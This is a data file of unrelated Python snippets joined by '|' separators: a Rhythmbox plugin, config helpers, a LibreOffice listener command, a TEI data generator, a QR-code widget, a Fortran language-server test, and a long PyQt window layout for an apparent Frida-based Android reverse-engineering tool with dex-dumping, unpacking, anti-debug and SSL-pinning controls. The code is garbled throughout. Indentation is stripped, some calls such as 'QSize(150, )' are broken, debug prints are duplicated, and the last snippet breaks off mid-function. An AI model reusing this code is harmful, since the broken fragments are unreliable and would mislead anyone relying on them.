self.col_map = OrderedDict([('track-number', RB.EntryViewColumn.TRACK_NUMBER), ('title', RB.EntryViewColumn.TITLE), ('genre', RB.EntryViewColumn.GENRE), ('artist', RB.EntryViewColumn.ARTIST), ('album', RB.EntryViewColumn.ALBUM), ('composer', RB.EntryViewColumn.COMPOSER), ('date', RB.EntryViewColumn.YEAR), ('duration', RB.EntryViewColumn.DURATION), ('bitrate', RB.EntryViewColumn.QUALITY), ('play-count', RB.EntryViewColumn.PLAY_COUNT), ('beats-per-minute', RB.EntryViewColumn.BPM), ('comment', RB.EntryViewColumn.COMMENT), ('location', RB.EntryViewColumn.LOCATION), ('rating', RB.EntryViewColumn.RATING), ('last-played', RB.EntryViewColumn.LAST_PLAYED), ('first-seen', RB.EntryViewColumn.FIRST_SEEN)])
for entry in self.col_map:
visible = (True if (entry == 'title') else False)
self.append_column(self.col_map[entry], visible)
gs = GSetting()
rhythm_settings = gs.get_setting(gs.Path.RBSOURCE)
rhythm_settings.connect('changed::visible-columns', self.on_visible_columns_changed)
self.on_visible_columns_changed(rhythm_settings, 'visible-columns')
def on_visible_columns_changed(self, settings, key):
print('CoverArtBrowser DEBUG - on_visible_columns_changed()')
print('CoverArtBrowser DEBUG - end on_visible_columns_changed()')
for entry in self.col_map:
col = self.get_column(self.col_map[entry])
if (entry in settings[key]):
col.set_visible(True)
elif (entry != 'title'):
col.set_visible(False)
print('CoverArtBrowser DEBUG - end on_visible_columns_changed()')
def define_menu(self):
popup = Menu(self.plugin, self.shell)
popup.load_from_file('N/A', 'ui/coverart_entryview_full_pop_rb3.ui')
signals = {'ev_full_play_track_menu_item': self.play_track_menu_item_callback, 'ev_full_play_next_track_menu_item': self.play_next_track_menu_item_callback, 'ev_full_queue_track_menu_item': self.queue_track_menu_item_callback, 'ev_full_add_to_playing_menu_item': self.add_to_playing_menu_item_callback, 'ev_full_new_playlist': self.add_playlist_menu_item_callback, 'ev_full_show_properties_menu_item': self.show_properties_menu_item_callback, 'ev_full_similar_track_menu_item': self.play_similar_track_menu_item_callback, 'ev_full_similar_artist_menu_item': self.play_similar_artist_menu_item_callback, 'ev_full_similar_genre_menu_item': self.play_similar_genre_menu_item_callback}
popup.connect_signals(signals)
popup.connect('pre-popup', self.pre_popup_menu_callback)
self.popup = popup
def playlist_menu_item_callback(self, *args):
print('CoverArtBrowser DEBUG - playlist_menu_item_callback')
self.source.playlist_fillmenu(self.popup, 'ev_full_playlist_sub_menu_item', 'ev_full_playlist_section', self.actiongroup, self.add_to_static_playlist_menu_item_callback)
def pre_popup_menu_callback(self, *args):
(state, sensitive) = self.shell.props.shell_player.get_playing()
if (not state):
sensitive = False
self.popup.set_sensitive('ev_full_add_to_playing_menu_item', sensitive)
self.popup.set_sensitive('ev_full_play_next_track_menu_item', sensitive)
if (not self.external_plugins):
self.external_plugins = CreateExternalPluginMenu('ev_full_entryview', 6, self.popup)
self.external_plugins.create_menu('entryview_full_popup_menu')
self.playlist_menu_item_callback() |
class _BoolConfigValue(_ConfigValue):
def __init__(self, dict_key, true_string='true', false_string='false', **kwargs) -> None:
self.true_string = true_string
self.false_string = false_string
super(_BoolConfigValue, self).__init__(dict_key, **kwargs)
def __set__(self, instance, value) -> None:
if isinstance(value, str):
if (value.lower() == self.true_string):
value = True
elif (value.lower() == self.false_string):
value = False
self._callback_if_changed(instance, value)
instance._values[self.dict_key] = bool(value) |
def get_start_listener_command(port: int) -> Sequence[str]:
return [get_uno_office_binary_path(), '--headless', '--invisible', '--nocrashreport', '--nodefault', '--nofirststartwizard', '--nologo', '--norestore', '--accept=socket,host=localhost,port={port};urp;StarOffice.ServiceManager'.format(port=port)] |
class ReferenceSegmenterTeiTrainingDataGenerator(AbstractTeiTrainingDataGenerator):
DEFAULT_TEI_FILENAME_SUFFIX = '.references.referenceSegmenter.tei.xml'
DEFAULT_DATA_FILENAME_SUFFIX = '.references.referenceSegmenter'
def __init__(self):
super().__init__(root_training_xml_element_path=ROOT_TRAINING_XML_ELEMENT_PATH, training_xml_element_path_by_label=TRAINING_XML_ELEMENT_PATH_BY_LABEL, reset_training_xml_element_path_by_label=RESET_TRAINING_XML_ELEMENT_PATH_BY_LABEL, element_maker=NO_NS_TEI_E, default_tei_filename_suffix=ReferenceSegmenterTeiTrainingDataGenerator.DEFAULT_TEI_FILENAME_SUFFIX, default_data_filename_suffix=ReferenceSegmenterTeiTrainingDataGenerator.DEFAULT_DATA_FILENAME_SUFFIX, default_tei_sub_directory='reference-segmenter/corpus/tei', default_data_sub_directory='reference-segmenter/corpus/raw') |
class HtmlQRCode(Html.Html):
name = 'QR Code'
tag = 'div'
requirements = ('qrcodejs',)
_option_cls = OptQrCode.OptionsQrCode
def __init__(self, page: primitives.PageModel, record, width: tuple, height: tuple, options: Optional[dict], profile: Optional[Union[(bool, dict)]]):
super(HtmlQRCode, self).__init__(page, record, profile=profile, options=options, css_attrs={'height': height, 'width': width})
self.options.width = width[0]
self.options.height = height[0]
def options(self) -> OptQrCode.OptionsQrCode:
return super().options
def jsonId(self):
return ('%s_obj' % self.htmlCode)
def js(self) -> JsQrCode.QrCode:
if (self._js is None):
self._js = JsQrCode.QrCode(js_code=self.jsonId, set_var=False, component=self, page=self.page)
return self._js
def __str__(self):
self.page.properties.js.add_builders(self.refresh())
return ('<%(t)s %(a)s></%(t)s>' % {'a': self.get_attrs(css_class_names=self.style.get_classes()), 't': self.tag}) |
def test_hover_recursive():
string = write_rpc_request(1, 'initialize', {'rootPath': str(test_dir)})
file_path = ((test_dir / 'hover') / 'recursive.f90')
string += hover_req(file_path, 9, 40)
(errcode, results) = run_request(string, fortls_args=['--sort_keywords'])
assert (errcode == 0)
ref_results = ['```fortran90\nRECURSIVE SUBROUTINE recursive_assign_descending(node, vector, current_loc)\n TYPE(tree_inode), POINTER, INTENT(IN) :: node\n INTEGER, DIMENSION(:), INTENT(INOUT) :: vector\n INTEGER, INTENT(INOUT) :: current_loc\n```']
validate_hover(results, ref_results) |
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName('MainWindow')
MainWindow.resize(847, 841)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName('centralwidget')
self.gridLayout = QtWidgets.QGridLayout(self.centralwidget)
self.gridLayout.setObjectName('gridLayout')
self.tabWidget = QtWidgets.QTabWidget(self.centralwidget)
self.tabWidget.setObjectName('tabWidget')
self.tab_2 = QtWidgets.QWidget()
self.tab_2.setObjectName('tab_2')
self.gridLayout_6 = QtWidgets.QGridLayout(self.tab_2)
self.gridLayout_6.setObjectName('gridLayout_6')
self.groupBox = QtWidgets.QGroupBox(self.tab_2)
self.groupBox.setMinimumSize(QtCore.QSize(0, 150))
self.groupBox.setObjectName('groupBox')
self.gridLayout_4 = QtWidgets.QGridLayout(self.groupBox)
self.gridLayout_4.setObjectName('gridLayout_4')
self.btnFart = QtWidgets.QPushButton(self.groupBox)
self.btnFart.setMinimumSize(QtCore.QSize(0, 40))
self.btnFart.setObjectName('btnFart')
self.gridLayout_4.addWidget(self.btnFart, 2, 1, 1, 1)
self.btnDumpPtr = QtWidgets.QPushButton(self.groupBox)
self.btnDumpPtr.setMinimumSize(QtCore.QSize(0, 40))
self.btnDumpPtr.setObjectName('btnDumpPtr')
self.gridLayout_4.addWidget(self.btnDumpPtr, 2, 0, 1, 1)
self.btnDumpDex = QtWidgets.QPushButton(self.groupBox)
self.btnDumpDex.setMinimumSize(QtCore.QSize(0, 40))
self.btnDumpDex.setObjectName('btnDumpDex')
self.gridLayout_4.addWidget(self.btnDumpDex, 2, 2, 1, 1)
self.btnDumpSo = QtWidgets.QPushButton(self.groupBox)
self.btnDumpSo.setMinimumSize(QtCore.QSize(0, 40))
self.btnDumpSo.setObjectName('btnDumpSo')
self.gridLayout_4.addWidget(self.btnDumpSo, 0, 0, 1, 1)
self.btnWallbreaker = QtWidgets.QPushButton(self.groupBox)
self.btnWallbreaker.setMinimumSize(QtCore.QSize(0, 40))
self.btnWallbreaker.setObjectName('btnWallbreaker')
self.gridLayout_4.addWidget(self.btnWallbreaker, 0, 1, 1, 1)
self.btnCallFunction = QtWidgets.QPushButton(self.groupBox)
self.btnCallFunction.setMinimumSize(QtCore.QSize(0, 40))
self.btnCallFunction.setObjectName('btnCallFunction')
self.gridLayout_4.addWidget(self.btnCallFunction, 0, 2, 1, 1)
self.btnMemSearch = QtWidgets.QPushButton(self.groupBox)
self.btnMemSearch.setMinimumSize(QtCore.QSize(0, 40))
self.btnMemSearch.setObjectName('btnMemSearch')
self.gridLayout_4.addWidget(self.btnMemSearch, 0, 3, 1, 1)
self.gridLayout_6.addWidget(self.groupBox, 0, 0, 1, 1)
self.groupBox_2 = QtWidgets.QGroupBox(self.tab_2)
self.groupBox_2.setMinimumSize(QtCore.QSize(0, 150))
self.groupBox_2.setObjectName('groupBox_2')
self.gridLayout_7 = QtWidgets.QGridLayout(self.groupBox_2)
self.gridLayout_7.setObjectName('gridLayout_7')
self.horizontalLayout = QtWidgets.QHBoxLayout()
self.horizontalLayout.setObjectName('horizontalLayout')
self.btnMatchMethod = QtWidgets.QPushButton(self.groupBox_2)
self.btnMatchMethod.setMinimumSize(QtCore.QSize(0, 40))
self.btnMatchMethod.setObjectName('btnMatchMethod')
self.horizontalLayout.addWidget(self.btnMatchMethod)
self.btnNatives = QtWidgets.QPushButton(self.groupBox_2)
self.btnNatives.setMinimumSize(QtCore.QSize(0, 40))
self.btnNatives.setObjectName('btnNatives')
self.horizontalLayout.addWidget(self.btnNatives)
self.btnStalker = QtWidgets.QPushButton(self.groupBox_2)
self.btnStalker.setMinimumSize(QtCore.QSize(0, 40))
self.btnStalker.setObjectName('btnStalker')
self.horizontalLayout.addWidget(self.btnStalker)
self.btnTuoke = QtWidgets.QPushButton(self.groupBox_2)
self.btnTuoke.setMinimumSize(QtCore.QSize(0, 40))
self.btnTuoke.setObjectName('btnTuoke')
self.horizontalLayout.addWidget(self.btnTuoke)
self.btnCustom = QtWidgets.QPushButton(self.groupBox_2)
self.btnCustom.setEnabled(True)
self.btnCustom.setMinimumSize(QtCore.QSize(0, 40))
self.btnCustom.setObjectName('btnCustom')
self.horizontalLayout.addWidget(self.btnCustom)
self.btnPatch = QtWidgets.QPushButton(self.groupBox_2)
self.btnPatch.setEnabled(True)
self.btnPatch.setMinimumSize(QtCore.QSize(0, 40))
self.btnPatch.setObjectName('btnPatch')
self.horizontalLayout.addWidget(self.btnPatch)
self.btnAntiFrida = QtWidgets.QPushButton(self.groupBox_2)
self.btnAntiFrida.setMinimumSize(QtCore.QSize(0, 40))
self.btnAntiFrida.setObjectName('btnAntiFrida')
self.horizontalLayout.addWidget(self.btnAntiFrida)
self.gridLayout_7.addLayout(self.horizontalLayout, 2, 0, 1, 1)
self.gridLayout_5 = QtWidgets.QGridLayout()
self.gridLayout_5.setObjectName('gridLayout_5')
self.chkNetwork = QtWidgets.QCheckBox(self.groupBox_2)
self.chkNetwork.setObjectName('chkNetwork')
self.gridLayout_5.addWidget(self.chkNetwork, 0, 0, 1, 1)
self.chkJni = QtWidgets.QCheckBox(self.groupBox_2)
self.chkJni.setObjectName('chkJni')
self.gridLayout_5.addWidget(self.chkJni, 0, 1, 1, 1)
self.chkJavaEnc = QtWidgets.QCheckBox(self.groupBox_2)
self.chkJavaEnc.setObjectName('chkJavaEnc')
self.gridLayout_5.addWidget(self.chkJavaEnc, 0, 2, 1, 1)
self.chkSslPining = QtWidgets.QCheckBox(self.groupBox_2)
self.chkSslPining.setObjectName('chkSslPining')
self.gridLayout_5.addWidget(self.chkSslPining, 0, 3, 1, 1)
self.chkHookEvent = QtWidgets.QCheckBox(self.groupBox_2)
self.chkHookEvent.setObjectName('chkHookEvent')
self.gridLayout_5.addWidget(self.chkHookEvent, 1, 0, 1, 1)
self.chkRegisterNative = QtWidgets.QCheckBox(self.groupBox_2)
self.chkRegisterNative.setObjectName('chkRegisterNative')
self.gridLayout_5.addWidget(self.chkRegisterNative, 1, 1, 1, 1)
self.chkArtMethod = QtWidgets.QCheckBox(self.groupBox_2)
self.chkArtMethod.setObjectName('chkArtMethod')
self.gridLayout_5.addWidget(self.chkArtMethod, 1, 2, 1, 1)
self.chkLibArt = QtWidgets.QCheckBox(self.groupBox_2)
self.chkLibArt.setObjectName('chkLibArt')
self.gridLayout_5.addWidget(self.chkLibArt, 1, 3, 1, 1)
self.chkAntiDebug = QtWidgets.QCheckBox(self.groupBox_2)
self.chkAntiDebug.setObjectName('chkAntiDebug')
self.gridLayout_5.addWidget(self.chkAntiDebug, 2, 0, 1, 1)
self.chkNewJnitrace = QtWidgets.QCheckBox(self.groupBox_2)
self.chkNewJnitrace.setObjectName('chkNewJnitrace')
self.gridLayout_5.addWidget(self.chkNewJnitrace, 2, 1, 1, 1)
self.gridLayout_7.addLayout(self.gridLayout_5, 0, 0, 1, 1)
self.gridLayout_6.addWidget(self.groupBox_2, 1, 0, 1, 1)
self.groupLogs = QtWidgets.QTabWidget(self.tab_2)
self.groupLogs.setObjectName('groupLogs')
self.tab_3 = QtWidgets.QWidget()
self.tab_3.setObjectName('tab_3')
self.gridLayout_3 = QtWidgets.QGridLayout(self.tab_3)
self.gridLayout_3.setObjectName('gridLayout_3')
self.txtLogs = QtWidgets.QPlainTextEdit(self.tab_3)
self.txtLogs.setReadOnly(True)
self.txtLogs.setObjectName('txtLogs')
self.gridLayout_3.addWidget(self.txtLogs, 0, 0, 1, 1)
self.groupLogs.addTab(self.tab_3, '')
self.tab_5 = QtWidgets.QWidget()
self.tab_5.setObjectName('tab_5')
self.gridLayout_2 = QtWidgets.QGridLayout(self.tab_5)
self.gridLayout_2.setObjectName('gridLayout_2')
self.txtoutLogs = QtWidgets.QPlainTextEdit(self.tab_5)
self.txtoutLogs.setReadOnly(True)
self.txtoutLogs.setObjectName('txtoutLogs')
self.gridLayout_2.addWidget(self.txtoutLogs, 0, 0, 1, 1)
self.groupLogs.addTab(self.tab_5, '')
self.tab_4 = QtWidgets.QWidget()
self.tab_4.setObjectName('tab_4')
self.gridLayout_9 = QtWidgets.QGridLayout(self.tab_4)
self.gridLayout_9.setObjectName('gridLayout_9')
self.tabHooks = QtWidgets.QTableWidget(self.tab_4)
self.tabHooks.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers)
self.tabHooks.setObjectName('tabHooks')
self.tabHooks.setColumnCount(0)
self.tabHooks.setRowCount(0)
self.gridLayout_9.addWidget(self.tabHooks, 0, 0, 1, 1)
self.frame = QtWidgets.QFrame(self.tab_4)
self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.frame.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame.setObjectName('frame')
self.gridLayout_8 = QtWidgets.QGridLayout(self.frame)
self.gridLayout_8.setObjectName('gridLayout_8')
self.label = QtWidgets.QLabel(self.frame)
self.label.setObjectName('label')
self.gridLayout_8.addWidget(self.label, 0, 0, 1, 1)
self.txtSaveHooks = QtWidgets.QLineEdit(self.frame)
self.txtSaveHooks.setObjectName('txtSaveHooks')
self.gridLayout_8.addWidget(self.txtSaveHooks, 0, 1, 1, 1)
self.btnSaveHooks = QtWidgets.QPushButton(self.frame)
self.btnSaveHooks.setMaximumSize(QtCore.QSize(150, ))
self.btnSaveHooks.setObjectName('btnSaveHooks')
self.gridLayout_8.addWidget(self.btnSaveHooks, 0, 2, 1, 1)
self.btnImportHooks = QtWidgets.QPushButton(self.frame)
self.btnImportHooks.setMaximumSize(QtCore.QSize(150, ))
self.btnImportHooks.setObjectName('btnImportHooks')
self.gridLayout_8.addWidget(self.btnImportHooks, 0, 3, 1, 1)
self.label_2 = QtWidgets.QLabel(self.frame)
self.label_2.setObjectName('label_2')
self.gridLayout_8.addWidget(self.label_2, 1, 0, 1, 1)
self.cmbHooks = QtWidgets.QComboBox(self.frame)
self.cmbHooks.setObjectName('cmbHooks')
self.gridLayout_8.addWidget(self.cmbHooks, 1, 1, 1, 1)
self.btnLoadHooks = QtWidgets.QPushButton(self.frame)
self.btnLoadHooks.setMaximumSize(QtCore.QSize(150, ))
self.btnLoadHooks.setObjectName('btnLoadHooks')
self.gridLayout_8.addWidget(self.btnLoadHooks, 1, 2, 1, 1)
self.btnClearHooks = QtWidgets.QPushButton(self.frame)
self.btnClearHooks.setMaximumSize(QtCore.QSize(150, ))
self.btnClearHooks.setObjectName('btnClearHooks')
self.gridLayout_8.addWidget(self.btnClearHooks, 1, 3, 1, 1)
self.gridLayout_9.addWidget(self.frame, 1, 0, 1, 1)
self.groupLogs.addTab(self.tab_4, '')
self.gridLayout_6.addWidget(self.groupLogs, 2, 0, 1, 1)
self.tabWidget.addTab(self.tab_2, '')
self.tab = QtWidgets.QWidget()
self.tab.setObjectName('tab')
self.gridLayout_14 = QtWidgets.QGridLayout(self.tab)
self.gridLayout_14.setObjectName('gridLayout_14')
self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
self.horizontalLayout_2.setObjectName('horizontalLayout_2')
self.groupBox_3 = QtWidgets.QGroupBox(self.tab)
self.groupBox_3.setObjectName('groupBox_3')
self.gridLayout_10 = QtWidgets.QGridLayout(self.groupBox_3)
self.gridLayout_10.setObjectName('gridLayout_10')
self.txtModule = QtWidgets.QLineEdit(self.groupBox_3)
self.txtModule.setObjectName('txtModule')
self.gridLayout_10.addWidget(self.txtModule, 0, 0, 1, 1)
self.listModules = QtWidgets.QListWidget(self.groupBox_3)
self.listModules.setObjectName('listModules')
self.gridLayout_10.addWidget(self.listModules, 1, 0, 1, 1)
self.horizontalLayout_2.addWidget(self.groupBox_3)
self.verticalLayout = QtWidgets.QVBoxLayout()
self.verticalLayout.setObjectName('verticalLayout')
self.btnExport = QtWidgets.QPushButton(self.tab)
self.btnExport.setObjectName('btnExport')
self.verticalLayout.addWidget(self.btnExport)
self.btnSymbol = QtWidgets.QPushButton(self.tab)
self.btnSymbol.setObjectName('btnSymbol')
self.verticalLayout.addWidget(self.btnSymbol)
self.btnSymbolClear = QtWidgets.QPushButton(self.tab)
self.btnSymbolClear.setObjectName('btnSymbolClear')
self.verticalLayout.addWidget(self.btnSymbolClear)
self.horizontalLayout_2.addLayout(self.verticalLayout)
self.groupBox_5 = QtWidgets.QGroupBox(self.tab)
self.groupBox_5.setObjectName('groupBox_5')
self.gridLayout_12 = QtWidgets.QGridLayout(self.groupBox_5)
self.gridLayout_12.setObjectName('gridLayout_12')
self.txtSymbol = QtWidgets.QLineEdit(self.groupBox_5)
self.txtSymbol.setObjectName('txtSymbol')
self.gridLayout_12.addWidget(self.txtSymbol, 0, 0, 1, 1)
self.listSymbol = QtWidgets.QListWidget(self.groupBox_5)
self.listSymbol.setObjectName('listSymbol')
self.gridLayout_12.addWidget(self.listSymbol, 1, 0, 1, 1)
self.horizontalLayout_2.addWidget(self.groupBox_5)
self.gridLayout_14.addLayout(self.horizontalLayout_2, 0, 0, 1, 1)
self.horizontalLayout_3 = QtWidgets.QHBoxLayout()
self.horizontalLayout_3.setObjectName('horizontalLayout_3')
self.groupBox_4 = QtWidgets.QGroupBox(self.tab)
self.groupBox_4.setObjectName('groupBox_4')
self.gridLayout_11 = QtWidgets.QGridLayout(self.groupBox_4)
self.gridLayout_11.setObjectName('gridLayout_11')
self.listClasses = QtWidgets.QListWidget(self.groupBox_4)
self.listClasses.setObjectName('listClasses')
self.gridLayout_11.addWidget(self.listClasses, 1, 0, 1, 1)
self.txtClass = QtWidgets.QLineEdit(self.groupBox_4)
self.txtClass.setObjectName('txtClass')
self.gridLayout_11.addWidget(self.txtClass, 0, 0, 1, 1)
self.horizontalLayout_3.addWidget(self.groupBox_4)
self.verticalLayout_2 = QtWidgets.QVBoxLayout()
self.verticalLayout_2.setObjectName('verticalLayout_2')
self.btnMethod = QtWidgets.QPushButton(self.tab)
self.btnMethod.setObjectName('btnMethod')
self.verticalLayout_2.addWidget(self.btnMethod)
self.btnMethodClear = QtWidgets.QPushButton(self.tab)
self.btnMethodClear.setObjectName('btnMethodClear')
self.verticalLayout_2.addWidget(self.btnMethodClear)
self.horizontalLayout_3.addLayout(self.verticalLayout_2)
self.groupBox_6 = QtWidgets.QGroupBox(self.tab)
self.groupBox_6.setObjectName('groupBox_6')
self.gridLayout_13 = QtWidgets.QGridLayout(self.groupBox_6)
self.gridLayout_13.setObjectName('gridLayout_13')
self.listMethod = QtWidgets.QListWidget(self.groupBox_6)
self.listMethod.setObjectName('listMethod')
self.gridLayout_13.addWidget(self.listMethod, 1, 0, 1, 1)
self.txtMethod = QtWidgets.QLineEdit(self.groupBox_6)
self.txtMethod.setObjectName('txtMethod')
self.gridLayout_13.addWidget(self.txtMethod, 0, 0, 1, 1)
self.horizontalLayout_3.addWidget(self.groupBox_6)
self.gridLayout_14.addLayout(self.horizontalLayout_3, 1, 0, 1, 1)
self.groupBox_7 = QtWidgets.QGroupBox(self.tab)
self.groupBox_7.setMinimumSize(QtCore.QSize(0, 200))
self.groupBox_7.setObjectName('groupBox_7')
self.gridLayout_16 = QtWidgets.QGridLayout(self.groupBox_7)
self.gridLayout_16.setObjectName('gridLayout_16')
self.gridLayout_14.addWidget(self.groupBox_7, 2, 0, 1, 1)
self.tabWidget.addTab(self.tab, '')
self.tab_6 = QtWidgets.QWidget()
self.tab_6.setObjectName('tab_6')
self.groupBox_8 = QtWidgets.QGroupBox(self.tab_6)
self.groupBox_8.setGeometry(QtCore.QRect(10, 20, 795, 301))
self.groupBox_8.setMinimumSize(QtCore.QSize(0, 200))
self.groupBox_8.setObjectName('groupBox_8')
self.gridLayout_17 = QtWidgets.QGridLayout(self.groupBox_8)
self.gridLayout_17.setObjectName('gridLayout_17')
self.label_8 = QtWidgets.QLabel(self.groupBox_8)
self.label_8.setObjectName('label_8')
self.gridLayout_17.addWidget(self.label_8, 2, 0, 1, 1)
self.frame_3 = QtWidgets.QFrame(self.groupBox_8)
self.frame_3.setMinimumSize(QtCore.QSize(0, 200))
self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)
self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_3.setObjectName('frame_3')
self.gridLayout_18 = QtWidgets.QGridLayout(self.frame_3)
self.gridLayout_18.setObjectName('gridLayout_18')
self.label_12 = QtWidgets.QLabel(self.frame_3)
self.label_12.setObjectName('label_12')
self.gridLayout_18.addWidget(self.label_12, 3, 0, 1, 1)
self.btnFlush = QtWidgets.QPushButton(self.frame_3)
self.btnFlush.setObjectName('btnFlush')
self.gridLayout_18.addWidget(self.btnFlush, 0, 4, 1, 1)
self.label_9 = QtWidgets.QLabel(self.frame_3)
self.label_9.setObjectName('label_9')
self.gridLayout_18.addWidget(self.label_9, 2, 0, 1, 1)
self.label_10 = QtWidgets.QLabel(self.frame_3)
self.label_10.setObjectName('label_10')
self.gridLayout_18.addWidget(self.label_10, 0, 0, 1, 1)
self.txtPid = QtWidgets.QLineEdit(self.frame_3)
self.txtPid.setReadOnly(True)
self.txtPid.setObjectName('txtPid')
self.gridLayout_18.addWidget(self.txtPid, 1, 3, 1, 1)
self.txtProcessName = QtWidgets.QLineEdit(self.frame_3)
self.txtProcessName.setReadOnly(True)
self.txtProcessName.setObjectName('txtProcessName')
self.gridLayout_18.addWidget(self.txtProcessName, 0, 3, 1, 1)
self.label_11 = QtWidgets.QLabel(self.frame_3)
self.label_11.setObjectName('label_11')
self.gridLayout_18.addWidget(self.label_11, 1, 0, 1, 1)
self.txtCurrentFocus = QtWidgets.QLineEdit(self.frame_3)
self.txtCurrentFocus.setReadOnly(True)
self.txtCurrentFocus.setObjectName('txtCurrentFocus')
self.gridLayout_18.addWidget(self.txtCurrentFocus, 2, 3, 1, 1)
self.txtComponent = QtWidgets.QLineEdit(self.frame_3)
self.txtComponent.setReadOnly(True)
self.txtComponent.setObjectName('txtComponent')
self.gridLayout_18.addWidget(self.txtComponent, 3, 3, 1, 1)
self.txtBaseDir = QtWidgets.QLineEdit(self.frame_3)
self.txtBaseDir.setReadOnly(True)
self.txtBaseDir.setObjectName('txtBaseDir')
self.gridLayout_18.addWidget(self.txtBaseDir, 4, 3, 1, 1)
self.label_13 = QtWidgets.QLabel(self.frame_3)
self.label_13.setObjectName('label_13')
self.gridLayout_18.addWidget(self.label_13, 4, 0, 1, 1)
self.gridLayout_17.addWidget(self.frame_3, 0, 0, 1, 1)
self.tabWidget.addTab(self.tab_6, '')
self.tab_7 = QtWidgets.QWidget()
self.tab_7.setObjectName('tab_7')
self.gridLayout_19 = QtWidgets.QGridLayout(self.tab_7)
self.gridLayout_19.setObjectName('gridLayout_19')
self.groupBox_9 = QtWidgets.QGroupBox(self.tab_7)
self.groupBox_9.setObjectName('groupBox_9')
self.gridLayout_15 = QtWidgets.QGridLayout(self.groupBox_9)
self.gridLayout_15.setObjectName('gridLayout_15')
self.btnFartOpBin = QtWidgets.QPushButton(self.groupBox_9)
self.btnFartOpBin.setMaximumSize(QtCore.QSize(150, 60))
self.btnFartOpBin.setObjectName('btnFartOpBin')
self.gridLayout_15.addWidget(self.btnFartOpBin, 0, 0, 1, 1)
self.btnOpStalkerLog = QtWidgets.QPushButton(self.groupBox_9)
self.btnOpStalkerLog.setEnabled(True)
self.btnOpStalkerLog.setMaximumSize(QtCore.QSize(150, 60))
self.btnOpStalkerLog.setObjectName('btnOpStalkerLog')
self.gridLayout_15.addWidget(self.btnOpStalkerLog, 0, 1, 1, 1)
self.gridLayout_19.addWidget(self.groupBox_9, 0, 0, 1, 1)
self.groupBox_10 = QtWidgets.QGroupBox(self.tab_7)
self.groupBox_10.setObjectName('groupBox_10')
self.gridLayout_19.addWidget(self.groupBox_10, 1, 0, 1, 1)
self.tabWidget.addTab(self.tab_7, '')
self.gridLayout.addWidget(self.tabWidget, 0, 0, 1, 1)
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 847, 37))
self.menubar.setObjectName('menubar')
self.menufile = QtWidgets.QMenu(self.menubar)
self.menufile.setObjectName('menufile')
self.menuedit = QtWidgets.QMenu(self.menubar)
self.menuedit.setObjectName('menuedit')
self.menuAttach = QtWidgets.QMenu(self.menuedit)
self.menuAttach.setObjectName('menuAttach')
self.menu_frida_server = QtWidgets.QMenu(self.menuedit)
self.menu_frida_server.setObjectName('menu_frida_server')
self.menuhelp = QtWidgets.QMenu(self.menubar)
self.menuhelp.setObjectName('menuhelp')
self.menu = QtWidgets.QMenu(self.menubar)
self.menu.setObjectName('menu')
self.menucmd = QtWidgets.QMenu(self.menubar)
self.menucmd.setObjectName('menucmd')
self.menu_2 = QtWidgets.QMenu(self.menubar)
self.menu_2.setObjectName('menu_2')
self.menufrida = QtWidgets.QMenu(self.menubar)
self.menufrida.setObjectName('menufrida')
self.menu_3 = QtWidgets.QMenu(self.menubar)
self.menu_3.setObjectName('menu_3')
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName('statusbar')
MainWindow.setStatusBar(self.statusbar)
self.toolBar = QtWidgets.QToolBar(MainWindow)
self.toolBar.setObjectName('toolBar')
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.actionopen = QtWidgets.QAction(MainWindow)
self.actionopen.setObjectName('actionopen')
self.actionexit = QtWidgets.QAction(MainWindow)
self.actionexit.setObjectName('actionexit')
self.actionabort = QtWidgets.QAction(MainWindow)
self.actionabort.setObjectName('actionabort')
self.actionStop = QtWidgets.QAction(MainWindow)
self.actionStop.setObjectName('actionStop')
self.action = QtWidgets.QAction(MainWindow)
self.action.setObjectName('action')
self.action_2 = QtWidgets.QAction(MainWindow)
self.action_2.setObjectName('action_2')
self.actionspwan = QtWidgets.QAction(MainWindow)
self.actionspwan.setObjectName('actionspwan')
self.actionAttach = QtWidgets.QAction(MainWindow)
self.actionAttach.setObjectName('actionAttach')
self.actionAttachName = QtWidgets.QAction(MainWindow)
self.actionAttachName.setObjectName('actionAttachName')
self.actionSpawn = QtWidgets.QAction(MainWindow)
self.actionSpawn.setObjectName('actionSpawn')
self.actionClearTmp = QtWidgets.QAction(MainWindow)
self.actionClearTmp.setObjectName('actionClearTmp')
self.actionClearLogs = QtWidgets.QAction(MainWindow)
self.actionClearLogs.setObjectName('actionClearLogs')
self.actionClearOutlog = QtWidgets.QAction(MainWindow)
self.actionClearOutlog.setObjectName('actionClearOutlog')
self.actionPushFartSo = QtWidgets.QAction(MainWindow)
self.actionPushFartSo.setObjectName('actionPushFartSo')
self.actionClearHookJson = QtWidgets.QAction(MainWindow)
self.actionClearHookJson.setObjectName('actionClearHookJson')
self.actionPullDumpDexRes = QtWidgets.QAction(MainWindow)
self.actionPullDumpDexRes.setObjectName('actionPullDumpDexRes')
self.actionPushFridaServer = QtWidgets.QAction(MainWindow)
self.actionPushFridaServer.setObjectName('actionPushFridaServer')
self.actionPullFartRes = QtWidgets.QAction(MainWindow)
self.actionPullFartRes.setObjectName('actionPullFartRes')
self.actionFrida32Start = QtWidgets.QAction(MainWindow)
self.actionFrida32Start.setObjectName('actionFrida32Start')
self.actionFrida64Start = QtWidgets.QAction(MainWindow)
self.actionFrida64Start.setObjectName('actionFrida64Start')
self.actionSuC = QtWidgets.QAction(MainWindow)
self.actionSuC.setCheckable(True)
self.actionSuC.setChecked(True)
self.actionSuC.setObjectName('actionSuC')
self.actionSu0 = QtWidgets.QAction(MainWindow)
self.actionSu0.setCheckable(True)
self.actionSu0.setChecked(False)
self.actionSu0.setObjectName('actionSu0')
self.actionFridax86Start = QtWidgets.QAction(MainWindow)
self.actionFridax86Start.setObjectName('actionFridax86Start')
self.actionFridax64Start = QtWidgets.QAction(MainWindow)
